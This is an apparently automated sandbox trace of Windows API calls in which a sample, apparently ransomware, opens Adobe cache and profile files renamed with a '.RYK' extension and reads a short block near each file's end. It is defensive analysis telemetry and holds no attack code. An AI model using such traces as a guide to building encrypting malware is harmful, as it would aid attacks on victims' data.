	[0246.110] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x410
	[0246.110] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x947f5b8 | out: lpFileSize=0x947f5b8*=2962) returned 1
	[0246.110] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x947f5c8 | out: lpFileSize=0x947f5c8*=2962) returned 1
	[0246.110] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.110] ReadFile (in: hFile=0x410, lpBuffer=0x947f610, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x947f580, lpOverlapped=0x0 | out: lpBuffer=0x947f610*, lpNumberOfBytesRead=0x947f580*=0x19, lpOverlapped=0x0) returned 1
	[0246.110] CloseHandle (hObject=0x410) returned 1

Thread:
	id = 2617
	os_tid = 0x2ebc

	[0246.112] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0246.112] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x410
	[0246.112] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x937fcb8 | out: lpFileSize=0x937fcb8*=35394) returned 1
	[0246.112] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x937fcc8 | out: lpFileSize=0x937fcc8*=35394) returned 1
	[0246.112] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x8920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.112] ReadFile (in: hFile=0x410, lpBuffer=0x937fd10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x937fc80, lpOverlapped=0x0 | out: lpBuffer=0x937fd10*, lpNumberOfBytesRead=0x937fc80*=0x19, lpOverlapped=0x0) returned 1
	[0246.112] CloseHandle (hObject=0x410) returned 1

Thread:
	id = 2618
	os_tid = 0x2ec0

	[0246.183] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0246.183] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x43c
	[0246.183] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x968f6d8 | out: lpFileSize=0x968f6d8*=138738) returned 1
	[0246.184] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x968f6e8 | out: lpFileSize=0x968f6e8*=138738) returned 1
	[0246.184] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x21cd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.184] ReadFile (in: hFile=0x43c, lpBuffer=0x968f730, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x968f6a0, lpOverlapped=0x0 | out: lpBuffer=0x968f730*, lpNumberOfBytesRead=0x968f6a0*=0x19, lpOverlapped=0x0) returned 1
	[0246.184] CloseHandle (hObject=0x43c) returned 1

Thread:
	id = 2619
	os_tid = 0x2ec4

	[0246.185] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0246.185] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x43c
	[0246.186] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x8cff898 | out: lpFileSize=0x8cff898*=53474) returned 1
	[0246.186] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x8cff8a8 | out: lpFileSize=0x8cff8a8*=53474) returned 1
	[0246.186] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.186] ReadFile (in: hFile=0x43c, lpBuffer=0x8cff8f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8cff860, lpOverlapped=0x0 | out: lpBuffer=0x8cff8f0*, lpNumberOfBytesRead=0x8cff860*=0x19, lpOverlapped=0x0) returned 1
	[0246.186] CloseHandle (hObject=0x43c) returned 1

Thread:
	id = 2620
	os_tid = 0x2ec8

	[0246.187] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 1
	[0246.188] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x43c
	[0246.188] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x8e1fad8 | out: lpFileSize=0x8e1fad8*=5410) returned 1
	[0246.188] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x8e1fae8 | out: lpFileSize=0x8e1fae8*=5410) returned 1
	[0246.188] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.188] ReadFile (in: hFile=0x43c, lpBuffer=0x8e1fb30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8e1faa0, lpOverlapped=0x0 | out: lpBuffer=0x8e1fb30*, lpNumberOfBytesRead=0x8e1faa0*=0x19, lpOverlapped=0x0) returned 1
	[0246.188] CloseHandle (hObject=0x43c) returned 1

Thread:
	id = 2621
	os_tid = 0x2ecc

	[0246.189] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK", dwFileAttributes=0x80) returned 1
	[0246.190] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x43c
	[0246.190] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x90ff998 | out: lpFileSize=0x90ff998*=77762) returned 1
	[0246.190] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x90ff9a8 | out: lpFileSize=0x90ff9a8*=77762) returned 1
	[0246.190] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x12ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.190] ReadFile (in: hFile=0x43c, lpBuffer=0x90ff9f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x90ff960, lpOverlapped=0x0 | out: lpBuffer=0x90ff9f0*, lpNumberOfBytesRead=0x90ff960*=0x19, lpOverlapped=0x0) returned 1
	[0246.190] CloseHandle (hObject=0x43c) returned 1

Thread:
	id = 2622
	os_tid = 0x2ed0

	[0246.191] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 1
	[0246.192] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x43c
	[0246.192] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x8f9fad8 | out: lpFileSize=0x8f9fad8*=1458) returned 1
	[0246.192] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x8f9fae8 | out: lpFileSize=0x8f9fae8*=1458) returned 1
	[0246.192] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.192] ReadFile (in: hFile=0x43c, lpBuffer=0x8f9fb30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f9faa0, lpOverlapped=0x0 | out: lpBuffer=0x8f9fb30*, lpNumberOfBytesRead=0x8f9faa0*=0x19, lpOverlapped=0x0) returned 1
	[0246.192] CloseHandle (hObject=0x43c) returned 1

Thread:
	id = 2623
	os_tid = 0x2ed4

	[0246.197] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0246.197] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x43c
	[0246.198] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x927fb18 | out: lpFileSize=0x927fb18*=66498) returned 1
	[0246.198] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x927fb28 | out: lpFileSize=0x927fb28*=66498) returned 1
	[0246.198] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x102a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.198] ReadFile (in: hFile=0x43c, lpBuffer=0x927fb70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x927fae0, lpOverlapped=0x0 | out: lpBuffer=0x927fb70*, lpNumberOfBytesRead=0x927fae0*=0x19, lpOverlapped=0x0) returned 1
	[0246.198] CloseHandle (hObject=0x43c) returned 1

Thread:
	id = 2624
	os_tid = 0x2ed8

	[0246.199] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0246.200] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x43c
	[0246.200] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x955f998 | out: lpFileSize=0x955f998*=2962) returned 1
	[0246.200] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x955f9a8 | out: lpFileSize=0x955f9a8*=2962) returned 1
	[0246.200] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.200] ReadFile (in: hFile=0x43c, lpBuffer=0x955f9f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x955f960, lpOverlapped=0x0 | out: lpBuffer=0x955f9f0*, lpNumberOfBytesRead=0x955f960*=0x19, lpOverlapped=0x0) returned 1
	[0246.200] CloseHandle (hObject=0x43c) returned 1

Thread:
	id = 2625
	os_tid = 0x2edc

	[0246.201] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0246.202] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x43c
	[0246.202] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x97bf898 | out: lpFileSize=0x97bf898*=35394) returned 1
	[0246.202] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x97bf8a8 | out: lpFileSize=0x97bf8a8*=35394) returned 1
	[0246.202] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x8920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.202] ReadFile (in: hFile=0x43c, lpBuffer=0x97bf8f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x97bf860, lpOverlapped=0x0 | out: lpBuffer=0x97bf8f0*, lpNumberOfBytesRead=0x97bf860*=0x19, lpOverlapped=0x0) returned 1
	[0246.202] CloseHandle (hObject=0x43c) returned 1

Thread:
	id = 2626
	os_tid = 0x2ee0

	[0246.324] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0246.325] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0
	[0246.325] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x93ff658 | out: lpFileSize=0x93ff658*=138738) returned 1
	[0246.325] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x93ff668 | out: lpFileSize=0x93ff668*=138738) returned 1
	[0246.325] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x21cd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.325] ReadFile (in: hFile=0x4a0, lpBuffer=0x93ff6b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x93ff620, lpOverlapped=0x0 | out: lpBuffer=0x93ff6b0*, lpNumberOfBytesRead=0x93ff620*=0x19, lpOverlapped=0x0) returned 1
	[0246.326] CloseHandle (hObject=0x4a0) returned 1

Thread:
	id = 2627
	os_tid = 0x2ee4


Thread:
	id = 2628
	os_tid = 0x2eec

	[0246.327] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0246.327] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0
	[0246.327] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x8d1f998 | out: lpFileSize=0x8d1f998*=53474) returned 1
	[0246.328] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x8d1f9a8 | out: lpFileSize=0x8d1f9a8*=53474) returned 1
	[0246.328] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.328] ReadFile (in: hFile=0x4a0, lpBuffer=0x8d1f9f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d1f960, lpOverlapped=0x0 | out: lpBuffer=0x8d1f9f0*, lpNumberOfBytesRead=0x8d1f960*=0x19, lpOverlapped=0x0) returned 1
	[0246.328] CloseHandle (hObject=0x4a0) returned 1

Thread:
	id = 2629
	os_tid = 0x2ef0

	[0246.329] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 1
	[0246.330] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0
	[0246.330] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x8f6fbb8 | out: lpFileSize=0x8f6fbb8*=5410) returned 1
	[0246.330] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x8f6fbc8 | out: lpFileSize=0x8f6fbc8*=5410) returned 1
	[0246.330] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.330] ReadFile (in: hFile=0x4a0, lpBuffer=0x8f6fc10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f6fb80, lpOverlapped=0x0 | out: lpBuffer=0x8f6fc10*, lpNumberOfBytesRead=0x8f6fb80*=0x19, lpOverlapped=0x0) returned 1
	[0246.330] CloseHandle (hObject=0x4a0) returned 1

Thread:
	id = 2630
	os_tid = 0x2ef4

	[0246.332] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK", dwFileAttributes=0x80) returned 1
	[0246.332] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0
	[0246.332] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x919f998 | out: lpFileSize=0x919f998*=77762) returned 1
	[0246.332] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x919f9a8 | out: lpFileSize=0x919f9a8*=77762) returned 1
	[0246.332] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x12ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.332] ReadFile (in: hFile=0x4a0, lpBuffer=0x919f9f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x919f960, lpOverlapped=0x0 | out: lpBuffer=0x919f9f0*, lpNumberOfBytesRead=0x919f960*=0x19, lpOverlapped=0x0) returned 1
	[0246.332] CloseHandle (hObject=0x4a0) returned 1

Thread:
	id = 2631
	os_tid = 0x2ef8

	[0246.334] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 1
	[0246.334] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0
	[0246.335] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x8e2f758 | out: lpFileSize=0x8e2f758*=1458) returned 1
	[0246.335] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x8e2f768 | out: lpFileSize=0x8e2f768*=1458) returned 1
	[0246.335] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.335] ReadFile (in: hFile=0x4a0, lpBuffer=0x8e2f7b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8e2f720, lpOverlapped=0x0 | out: lpBuffer=0x8e2f7b0*, lpNumberOfBytesRead=0x8e2f720*=0x19, lpOverlapped=0x0) returned 1
	[0246.335] CloseHandle (hObject=0x4a0) returned 1

Thread:
	id = 2632
	os_tid = 0x2efc

	[0246.337] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0246.337] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0
	[0246.337] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x95ff858 | out: lpFileSize=0x95ff858*=66498) returned 1
	[0246.337] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x95ff868 | out: lpFileSize=0x95ff868*=66498) returned 1
	[0246.338] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x102a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.338] ReadFile (in: hFile=0x4a0, lpBuffer=0x95ff8b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x95ff820, lpOverlapped=0x0 | out: lpBuffer=0x95ff8b0*, lpNumberOfBytesRead=0x95ff820*=0x19, lpOverlapped=0x0) returned 1
	[0246.338] CloseHandle (hObject=0x4a0) returned 1

Thread:
	id = 2633
	os_tid = 0x2f00

	[0246.339] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0246.339] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0
	[0246.340] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x97afb78 | out: lpFileSize=0x97afb78*=2962) returned 1
	[0246.340] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x97afb88 | out: lpFileSize=0x97afb88*=2962) returned 1
	[0246.340] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.340] ReadFile (in: hFile=0x4a0, lpBuffer=0x97afbd0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x97afb40, lpOverlapped=0x0 | out: lpBuffer=0x97afbd0*, lpNumberOfBytesRead=0x97afb40*=0x19, lpOverlapped=0x0) returned 1
	[0246.340] CloseHandle (hObject=0x4a0) returned 1

Thread:
	id = 2634
	os_tid = 0x2f04

	[0246.341] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
